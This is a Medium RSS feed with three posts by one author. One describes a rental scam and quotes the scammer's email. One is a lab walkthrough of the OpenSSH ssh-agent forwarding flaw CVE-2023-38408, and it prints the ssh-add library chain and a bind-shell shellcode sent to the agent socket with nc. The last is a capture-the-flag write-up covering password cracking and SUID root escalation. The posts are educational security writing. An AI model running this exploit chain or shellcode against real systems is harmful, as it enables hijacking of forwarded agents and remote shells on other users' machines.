<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Manjil on Medium]]></title>
        <description><![CDATA[Stories by Manjil on Medium]]></description>
        <link>https://medium.com/@mane_csit2075?source=rss-d4f8bdf90190------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*g8YKc90PQqjNP4Xxuk96hQ.jpeg</url>
            <title>Stories by Manjil on Medium</title>
            <link>https://medium.com/@mane_csit2075?source=rss-d4f8bdf90190------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 20:54:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mane_csit2075/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Scammers Are Targeting Renters — My Story]]></title>
            <link>https://medium.com/@mane_csit2075/scammers-are-targeting-renters-my-story-0a13f975a396?source=rss-d4f8bdf90190------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a13f975a396</guid>
            <dc:creator><![CDATA[Manjil]]></dc:creator>
            <pubDate>Wed, 23 Apr 2025 22:29:00 GMT</pubDate>
            <atom:updated>2025-04-23T22:29:00.475Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scammers Are Targeting Renters — My Story</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*DXkl6dkr2Gl9pg7GZm_94g.jpeg" /><figcaption>Try Again!!!!!!</figcaption></figure><p>People —<strong> Being the most powerful are the most vulnerable ones</strong>”. With the advancement of technology and its effective use, attackers are exploiting the most vulnerable ones. The <a href="https://www.gasa.org/post/global-state-of-scams-report-2024-1-trillion-stolen-in-12-months-gasa-feedzai">report </a>shows that almost $1 trillion has been stolen by international scammers. Looking at the records, only 4% of victims can recover their losses. There are various types of scammers directly and indirectly in contact with you. I will discuss here my experience with the fraudulent financial scam, i.e, Rental scam.</p><p>We all may be familiar with such scams, but what I really want to point on is the method they use, the identity they choose, and the compelling message they send us to make emotional decisions based on their favor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*VeSaCIrMuIX7IMei21h2VQ.png" /><figcaption>Emotionallllll Damage😒😒😒</figcaption></figure><p>Being an international student, it&#39;s a challenging task to manage and settle in. When you are new to the place, the first thing you search for is a private place where you can dine yourself, get a proper sleep, and plan for further accordingly. After my thorough research, I found out about <a href="https://www.wg-gesucht.de/"><strong>WG-Gesucht</strong></a>, one of the popular websites for searching for an apartment. Among the several users I was exploring on the website, I found one profile that seemed valid at first, but later turned out to be bogus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9s4i4gY0dPch4u9YFOTZw.png" /><figcaption>mail…um……</figcaption></figure><p>There are some things we need to consider: the name of the user, membership on the website, the reply time, and the rental price based on the apartment size. Furthermore, she wants to communicate everything via email, and the email username seems different from the name, right? It might be her friend or anyone, who cares?????? So, I sent him/her the email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h37j57VbjELeCh6RJiEazg.png" /><figcaption>Lots of pictures though🤔</figcaption></figure><p>Okay!!! Let’s decode it 😂</p><blockquote>Hello!!!<br><br>Hoping you&#39;re well, we&#39;d like to inform you that our apartment is now available and available for rent, with a rent of €500 including taxes and fees. Please understand that I was living in the apartment with my daughter, who recently moved to live with her father in France, as I&#39;m divorced from her father. Given my voice impediment, my silence, and all that, loneliness and boredom could certainly lead me to depression. To avoid this, I had to move in with my family, where we&#39;re training to become social workers for deaf minors in Hanover. Together we have a farm and are immortalizing ourselves in her upbringing, which will ensure a happy and fulfilling life.<br><br>If you want this apartment you have to be able to prove that I can actually trust you because it is not for commercial reasons that I want to rent it out but simply so that it does not remain empty, for its maintenance it needs a serious person, hence this rental price and of course its maintenance is much more important to me, therefore we would like to know if you can take care of the apartment like your own property, since this is a rental between private individuals and I cannot speak like you, it would be better to deal with an understandable applicant, if that is you then you can rely on our accommodation.</blockquote><blockquote>This is a fully equipped apartment located in a quiet and friendly area, close to shops and public transport. A 2-room duplex apartment with an area of ​​49 m². It comprises an entrance hall with a closet, a shower room with toilet, an open-plan kitchen with a fitted kitchen, and a living room with a dining room. Upstairs, there is a bedroom and a bathroom with toilet. A parking space completes the complex. Please see attached photos of the apartment. If this appeals to you, please provide us with the information below so we can arrange a possible viewing and sign the lease.</blockquote><blockquote>Last Name &amp; First Name.....................<br><br>City of Current Residence.....................<br><br>Telephone (landline and GSM)....................<br><br>Marital Status....................<br><br>Your Occupation......................................<br><br>Your Monthly Income ..........................<br><br>Length of Rental Agreement................................<br><br>Number of People Occupying the Apartment...............<br><br>*A copy of your ID card, if possible.<br><br>- A selfie of you holding the ID card.<br><br>We await the information we need to send you the list of documents to be provided. Thank you in advance for your attention. A visit will be arranged with the property manager once we have requested the information.<br><br>NB: Since we are deaf, we would like someone who can understand our situation so that we can trust them and rely on them with a clear conscience, so that we can live with peace of mind even after receiving the keys to our apartment.<br><br>Attached are the photos of the apartment.<br><br>Sincerely</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*yj7hYFXQOqQG3Mu2pQDI3g.jpeg" /><figcaption>Deaf? Really???</figcaption></figure><p>Oh man!! That deaf thing got me. Although I didn’t see the images, as I have already seen from the website, and guess what, it is slightly different😂</p><p>Emotional Right?!! A divorced guy, with a hearing impairment, and further looking for all my documents, plus a selfie? Nice move👏. Without further ado, I replied to him:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9H6Lq4EU-xtP6HivdIrCw.png" /><figcaption>Privacy matters!!!!</figcaption></figure><p>And after that, he just became an unknown guy. No mail, no response, nothing. So I started investigating the account. First, let’s look at the profile of the user and start doing some minor OSINT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*cyh8s2vE7syoyoGzIPTLYA.png" /><figcaption>Believe me, she is beautiful!</figcaption></figure><p>Going with the flow, I got her profile info and other email information from her bio. Additionally, I checked the validity of this image and explored more about its generation using AI, and found out that it&#39;s a valid one. This is the procedure of identity theft, as someone else is using your image without your consent, and using it to trap innocents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pLQLIf_c_7oD8xi9TM0lA.png" /><figcaption>Real One.</figcaption></figure><p>And yeah, I emailed her and provided some feedback regarding such theft and scams. And hey, wondering about the present state of the advertisement? Here you goo…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M0Cq-MpCLHm68_ljJ-unWA.png" /><figcaption>Opps!! what might have happened?🤔</figcaption></figure><p>Let me remind you again that this post is not just about scams, but also about the protection of your crucial data. Before believing everything and moving ahead, make a double confirmation about it. In addition to data, protecting your money from scams is necessary. One scammer told me to deposit 1k without allowing me to view the apartment (as he said he is in Denmark for his work😂):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHWe-ZTY0NgtgVMMBZThZg.png" /><figcaption>Well Tried!!</figcaption></figure><p>There are lots of these scammers trying to get your data and money. It’s up to you how you are going to deal with it. As previously mentioned, humans are the most vulnerable ones, and to be safe from these, self-awareness is crucial.</p><p>Keep on learning, stay safe &amp; healthy. Bis spater👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a13f975a396" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2023–38408 (OpenSSH Vulnerability to RCE)]]></title>
            <link>https://medium.com/@mane_csit2075/cve-2023-38408-openssh-vulnerability-to-rce-9e756a0369fd?source=rss-d4f8bdf90190------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e756a0369fd</guid>
            <category><![CDATA[ssh-to-rce]]></category>
            <category><![CDATA[ssh-agent-forwarding]]></category>
            <dc:creator><![CDATA[Manjil]]></dc:creator>
            <pubDate>Tue, 15 Aug 2023 17:09:19 GMT</pubDate>
            <atom:updated>2023-08-16T04:35:33.603Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*5O5pbgy-d70ZMYthU-LPiQ.jpeg" /><figcaption>“ Surprise! System Hack!”</figcaption></figure><p>Recently, “<strong>The Hacker News</strong>” has published a <a href="https://thehackernews.com/2023/07/new-openssh-vulnerability-exposes-linux.html">post </a>related to OpenSSH vulnerability that exposes Linux systems to RCE. The vulnerability impacts all the versions of OpenSSH before 9.3p2. So it is strongly advised that users of OpenSSH to update the most recent version in order to safeguard against potential cyber threats.</p><p>NIST assigned the CVE identifier <strong>CVE-2023–38408</strong> on July 19th in response to a critical vulnerability. This security flaw, which allows remote code execution if an agent is forwarded to an attacker-controlled system due to an insufficiently trustworthy search path, has been found by <a href="https://blog.qualys.com/vulnerabilities-threat-research/2023/07/19/cve-2023-38408-remote-code-execution-in-opensshs-forwarded-ssh-agent">The Qualys Threat Research Unit (TRU</a>). It’s essential to note that loading code from /usr/lib into ssh-agent can pose significant risks. This vulnerability represents an <strong>incomplete </strong>fix for a previous <strong>CVE-2016–10009</strong>.</p><p>SSH-agent is a program to hold private keys used for public key authentication. Connections to ssh-agent may be forwarded from further remote hosts using -A option</p><pre>ssh -A user@gateway</pre><p>Despite this warning, ssh-agent forwarding is still widely used today. Typically, a system administrator (Alice) runs ssh-agent on her local workstation, connects to a remote server with ssh, and enables ssh-agent forwarding with the -A or ForwardAgent option, thus making her ssh-agent reachable from the remote server. Here, we gonna experiment the real scenario of OpenSSH vulnerability that is being exploited when the server is compromised by an attacker, that lead to RCE of another user.</p><p><strong>Summary</strong></p><pre>While browsing through ssh-agent&#39;s source code, it is noticed that a remote<br>attacker, who has access to the remote server where user&#39;s ssh-agent is<br>forwarded to, can load (dlopen()) and immediately unload (dlclose()) any<br>shared library in /usr/lib* on user&#39;s workstation (via his/her forwarded<br>ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).<br><br>Surprisingly, by chaining four common side effects of shared libraries<br>from official distribution packages,it is possible to transform this very<br>limited primitive (the dlopen() and dlclose() of shared libraries from<br>/usr/lib*) into a reliable, one-shot remote code execution in ssh-agent<br>(despite ASLR, PIE, and NX)</pre><p><strong>Background Information:</strong></p><p>In 2010, the ability to load and unload shared libraries in ssh-agent was developed to support the addition and deletion of <a href="https://www.ibm.com/docs/en/linux-on-systems?topic=introduction-what-is-pkcs-11">PKCS#11</a> keys. In response to <strong>CVE-2016–10009 </strong>published by <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1009">Jahn Horn</a> , an allow-list (/usr/lib*, /usr/local/lib/ by default) was added to limit library loading. However, it is possible to abuse the side effects of the library’s constructors (<strong>dlopen</strong>) and destructors (<strong>dlclose</strong>) to manipulate memory and control the program flow. “<em>dlopen() and dlclose() is a function used to dynamically load and unload shared libraries (also called DLL) into a running program.”</em></p><pre>/* Sample program to Open a dynamic library and then close it ... */<br><br>#include &lt;dlfcn.h&gt;<br><br>void *mylib;<br>int eret;<br><br>mylib = dlopen(&quot;mylib.so&quot;, RTLD_LOCAL | RTLD_LAZY);<br>...<br>eret = dlclose(mylib);<br>...</pre><p>Code execution can be achieved by making the stack executable, registering a signal handler for <strong>SIGSEGV </strong>and manipulating its code, replacing the signal handler’s code with code from another library, triggering a <strong>SIGSEGV</strong>, and replacing it’s handler’s code to finally jump into the stack where the shell-code is stored.</p><p><strong>Environment Setup</strong></p><p>Currently a user “redqueenrebel” is accessing the workstation. We will exploit the OpenSSH vulnerability and access the user “Alice” as her ssh-agent is forwarded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*YYKgBMt8p18nWI9t5CoTYg.png" /><figcaption>Users on the workstation</figcaption></figure><p>Analyzing the further details of the workstation, it seems the vulnerable version of SSH is running within the Ubuntu machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*CUFKGyQgy3WNtiRiCAFJ4A.png" /><figcaption>Workstation with OpenSSH version 8.9p1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*yX3qn43MYlKM8_yzK73Yzg.png" /><figcaption>Attacker Machine/Compromised Server</figcaption></figure><p>Our main objective is to escalate privileges and compromise the “Alice” account. If an attacker had access to the server where Alice’s ssh-agent is<br> forwarded to, and had an unprivileged access to Alice’s workstation,<br> then this attacker could store a malicious shared library in /tmp on<br> Alice’s workstation and execute it with Alice’s privileges (via her<br> forwarded ssh-agent) — a mild form of Local Privilege Escalation;</p><ul><li>We initialize a connection to server using Alice public key. So add Alice’s public key to the authorized_keys file</li></ul><pre>echo &quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs4FT0kCeBfQ1co/PeApZn3NmZ68mUwEEbtP598IcBBDgpe+AauGtOVNxsptmZD26yjhTXp4RJgrreUgPJQ8ICDUvASD/2W8GOl5XpYddbrcHy+djyViQV/69VskB2Y9LCobbkYPBUjIKlObqgamM7HhcNO3Zu65AAtbu+31+N+swygYjTRB37cjQOLgI7FM9nmuhyb8uSMtttTJRD7ybXPfiHV8YxLENuJU0BGggc9i/hXKQKwhEvnliiqw/XdpK/JyT6t65DFvYYkT21bPHpBDMNzPauUgr2yagKMFNe8HFQfk/QibTcLMeV0JmCGeOcv8oJP/T4xJnnoetMvZGEPZ4hXH7E3n2wksLjuF2se61/c+SIh6Zm+gUYQESTAmmbRPeTj7RcZPRN22knpSyu76eZKBf/dmHYXQlIk1gKsouFdposOpxYRJ4Wt97uEPihW/wzzT+QPcLyYoGpbFXJmpqNaOBVJw1n0KqB98dL5Ixa32FKTCzaBPHkDmK/I2M= alice@workstation&quot; &gt;&gt; /root/.ssh/authorized_keys</pre><ul><li>Create the IP file named /tmp/ip_address.txt on your vulnerable machine. The text file contains the IP of remote server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*I7q-wcMIGQW5QMXseN0MpQ.png" /><figcaption>Connecting to Attacker’s IP</figcaption></figure><ul><li>Now the the attacker machine (the compromised server) received connection from the vulnerable machine. It means the user machine is accessing the server performing the ssh-agent forwarding.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*SLzXJA2bGzqariBwY1sswg.png" /><figcaption>Before Connection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*AZFL5EYysz5sS5BjGUsAVg.png" /><figcaption>After Connection</figcaption></figure><p>Above diagram (<em>fig: After Connection)</em> demonstrates Alice’s ssh-agent forwarded to the server which will be compromised by an attacker.</p><p><strong>Exploitation</strong></p><p>Here, we will be working with two machines: the workstation (a vulnerable instance of Ubuntu 22.04) and another server which is under the attacker’s control. To simulate the the vulnerable instance, a connection between the workstation and the server has been employed in our Environment Setup. It means a user “Alice” is connected from the workstation to the attacker using SSH agent forwarding.</p><p><em>Several libraries will be executed from the attacker’s control box but their impact will be directed at the target workstation.</em></p><p>In order to execute the shellcode within the vulnerable process; <strong>ssh-pkcs11-helper </strong>(<em>separate dedicated process where shared library of ssh-agent is stored</em>), it is crucial that the stack of that process is flagged as executable.</p><pre>export SSH_AUTH_SOCK=/tmp/ssh-aUYSckXykW/agent.3039<br>ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*WmNipatN97Bi1oAdT6zKwQ.png" /></figure><p>To copy the shellcode into the process using SSH socket, we need to follow these steps:</p><ul><li>Obtain the <strong>PID </strong>of the SSH agent running on the remote attacker machine</li><li>Once you have the socket, use the netcat (nc) to transfer the shellcode to the agent’s memory (workstation)</li><li>After starting the transfer, wait for a few seconds to ensure the shellcode is fully copied into the target memory.</li><li>Finally press Ctrl+C to stop the netcat transfer once the shellcode is successfully placed in the agent’s memory.</li></ul><p>A shellcode is remotely stored in stack buffer “buf” of the ssh-pkcs11-helper’s main() function. Furthermore, a vulnerability related to SSH agent forwarding by injecting shellcode into the SSH agent forwarding mechanism is potentially exploit.</p><pre>SHELLCODE=$&#39;\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05&#39;<br>(perl -e &#39;print &quot;\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6&quot; . &quot;\x90&quot; x 10000&#39;; echo -n &quot;$SHELLCODE&quot;) | nc -U &quot;$SSH_AUTH_SOCK&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*ZsdbesW-Zf7cIV5Qzk7Cdg.png" /><figcaption>Injecting Shellcode into SSH Agent</figcaption></figure><ul><li>We donot use ssh-add here, because we want to send ~10KB passphrase (our shellcode) to ssh-agent but the ssh-add limits the length of our passphrase to 1KB;</li><li><a href="https://shell-storm.org/shellcode/files/shellcode-858.html">SHELLCODE </a>is a “TCP bind shell” on port 31337</li><li>/usr/lib/modules is an existing directory whose path matches ssh-agent’s /usr/lib* allow-list.</li></ul><p>The next step of the exploitation process is register the signal handler for the SIGSEGV(Signal Segmentation Violation) signal and immediately munmap() (<em>memory unmapping</em>) its code</p><pre>ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*jE8DD6FPFz6OcSvCesdS-Q.png" /><figcaption>Remotely register SIGSEGV handler</figcaption></figure><p>We remotely replace unmapped SIGSEGV handler’s code with another piece of code (a useful gadget) from another shared library.</p><pre>ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*d4KmfkAbRQ9NWSYGovI2XA.png" /><figcaption>Replacing original signal handler</figcaption></figure><p>Finally, by intentionally causing a segmentation fault, the SIGSEGV event can be triggered, executing the shellcode.</p><pre>ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*Vb3jTD4oWfONPLPkTBO0Yw.png" /><figcaption>Raise SIGSEGV in ssh-pkcs11-helper</figcaption></figure><p>With the exploitation successfully executed, an attacker may gain access to a bind shell (shellcode), which can be accessed using netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*-IeKB_5IFzBHeCnyWEJsQA.png" /><figcaption>Connection on port 31337 succeeded!</figcaption></figure><p>This is it!! We are accessing the services as an “Alice”.</p><p><strong>Conclusion:</strong></p><p>Our analysis taught us the necessity of carefully filtering shared libraries and avoiding dangerous side effects, especially when dealing with privileged programs like ssh-agent. The exploit’s complexity highlights the significance of safe coding approaches, comprehensive testing, and continuous monitoring to detect and neutralize any dangers.</p><p>This exploit also highlights the complexity of modern cyber security concerns, as exploit makers are continuously looking for new ways to breach defenses.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e756a0369fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Overpass 2 — Hacked]]></title>
            <link>https://medium.com/@mane_csit2075/overpass-2-hacked-854cc66ce44?source=rss-d4f8bdf90190------2</link>
            <guid isPermaLink="false">https://medium.com/p/854cc66ce44</guid>
            <dc:creator><![CDATA[Manjil]]></dc:creator>
            <pubDate>Fri, 12 Aug 2022 15:10:14 GMT</pubDate>
            <atom:updated>2022-08-12T15:10:14.186Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8h3k_XXZ4QIQdt2etVIMQg.png" /></figure><h3>Overpass 2 — Hacked</h3><p>I had started this room while ago but I hadn’t completed. (I am doing right now cause my exam is coming and I feel bored reading books 9_9 ). It was quite easy to solve the overpass-1 room but this room seems more interesting than the first one. I am sharing my experience through this write-up. I had given answers for some of the interesting questions and for most of the answers , I had given just the hints. Giving all the answers might be spoon-feeding. Now, let’s get into the room…. →</p><p>First I downloaded the file and as the file is of the extension of .pcapng so I quickly look through the wireshark and collect the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tVN3OP5eJO_H6bREYG0gZg.png" /><figcaption>Download Task files</figcaption></figure><p>After analyzing those packets I found out that the attacker gain access applying reverse shell. Now let’s go into further analysis of this room to solve the challenges of the room.</p><p><strong>Task 1: Forensics — Analyses the PCAP</strong></p><p><strong>Q.No: 1 to 4</strong> can easily be solved by analyzing packets in the wireshark by <strong>follow tcp path</strong> (by right click on packets).</p><p><strong>Q.No-5</strong>:Using the fasttrack wordlist, how many of the system passwords were crackable?</p><p><strong>Answers: </strong>This seems too easy as we are experienced with using the johntheripper to crack passwords of all the users. While analyzing the packet I found out lists of users from /etc/passwd (from Wireshark).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZigwLDnE48jqzHqnvxBfAw.png" /><figcaption>Wrong output</figcaption></figure><p>But when I answered it shows wrong. I then try to find how may passwords were cracked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*aBqmWwypT1_RwCFIV7s9ew.png" /><figcaption>Actual cracked password</figcaption></figure><p>Then I found out that four passwords were crackable. So the error was due to john.pot file.The information about your password will be printed in John.pot , one line at a time, including both encryption type and username and password hash. So I first remove the john.pot and execute the john again to gain the password of crackable passwords from fasttrack.txt wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*ywdQgXxNQxDQSRnDtIRY-w.png" /><figcaption>Cracked passwords</figcaption></figure><p><strong>Task 2: Research — Analyse the code</strong></p><p><strong>→What’s the default hash for the backdoor?</strong></p><p>Answer: I look out the command and the link which was cloned by the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*1W_6dJ-k_eM8qKllHTLACw.png" /><figcaption>Cloned github repo @wireshark</figcaption></figure><p>I go for the link and found out the default hash in the <strong>main.go</strong> file within the repo of the above cloned link.</p><p><strong>→ What’s the hardcoded salt for the backdoor?</strong></p><p>The hardcoded salt in this question is the embedded items or the data kept on the source code. within the same .go file you can see the function call and that’s the hardcoded salt.</p><p><strong>→What was the hash that the attacker used? — go back to the PCAP for this!</strong></p><p>It can easily be accessed from the wireshark while analyzing the packet.</p><p><strong>→Crack the hash using rockyou and a cracking tool of your choice. What’s the password?</strong></p><p>This is the most fascinating question for me as I had experienced the way of cracking the salted hash file. As I look out for the hint It says the hash is salted and I look out the code within the github repo and I found out that the password uses 512 hash and was on the order of $hash:salt. I lookout for the tool to crack those hashes and I found <strong>hashcat</strong>, one of the popular tool to crack the hashes.</p><p>I look out for the mode to use for $hash:$salt with 512 hash and I found that 1710 mode to be used. And further you can crack the hash file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esDjW4qgYxgJNOxg_jmyhg.png" /><figcaption>Cracking salted hash password</figcaption></figure><p><strong>Task 3: Attack — Get back in!</strong></p><p><strong>→The attacker defaced the website. What message did they leave as a heading?</strong></p><p>Just open the site deploying the machine.</p><p><strong>→Using the information you&#39;ve found previously, hack your way back in!</strong></p><p>It’s easy to gain the access as we have cracked the salted password. I lookout for the open ports and found out that the ssh is running on 2222.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*NQYJoCC4tUOP6psQGCJNog.png" /><figcaption>Searching for open ports</figcaption></figure><p>Then I try to login with the Jame’s account and the earlier cracked ssh password on port 2222. I got the error and all thanks to stack overflow :D for eradication the error I faced while logging in the ssh -p 2222.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uR0deGQZ9dnSM2UDp1olcg.png" /><figcaption>F**ked up error on ssh</figcaption></figure><p>Then is searched for this issue to solve and found some changes to be made on /etc/ssh/ssh_config file as :</p><pre>PubkeyAcceptedAlgorithms +ssh-rsa<br>HostkeyAlgorithms +ssh-rsa</pre><p>Now I can easily access the ssh.</p><p><strong>→What’s the user flag?</strong></p><p>After logging into the Jame’s account search for the user.txt and there you find the user flag.</p><p><strong>→What’s the root flag?</strong></p><p>There’s a hint saying that there may be the quick way to gain the access to root without the password. I thought there may be some to execute with the access of both the user and the root as: <strong>sudo -l </strong>.</p><p>But there’s was nothing. Then I list out all the files along with their execution priority on the Jame’s account. Then there’s a file .squid_bash file that can be accessed by Jame’s account to quickly gain the root privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*l5ryun1odHFKUnERBPQEzw.png" /><figcaption>Checking for access</figcaption></figure><p>I execute the file and I logged in as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*dxtpB6XrIdhT84uc_Z02_w.png" /><figcaption>Logging as root</figcaption></figure><p>I searched for the flag.txt and found the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4PWLbttcLif3OLelahaUPw.png" /><figcaption>Completion of room</figcaption></figure><p>This is it. This room was quite fascinating may be due my laziness on preparation for the examination. So, keep on learning and keep on hacking!!!.. See you again :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=854cc66ce44" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>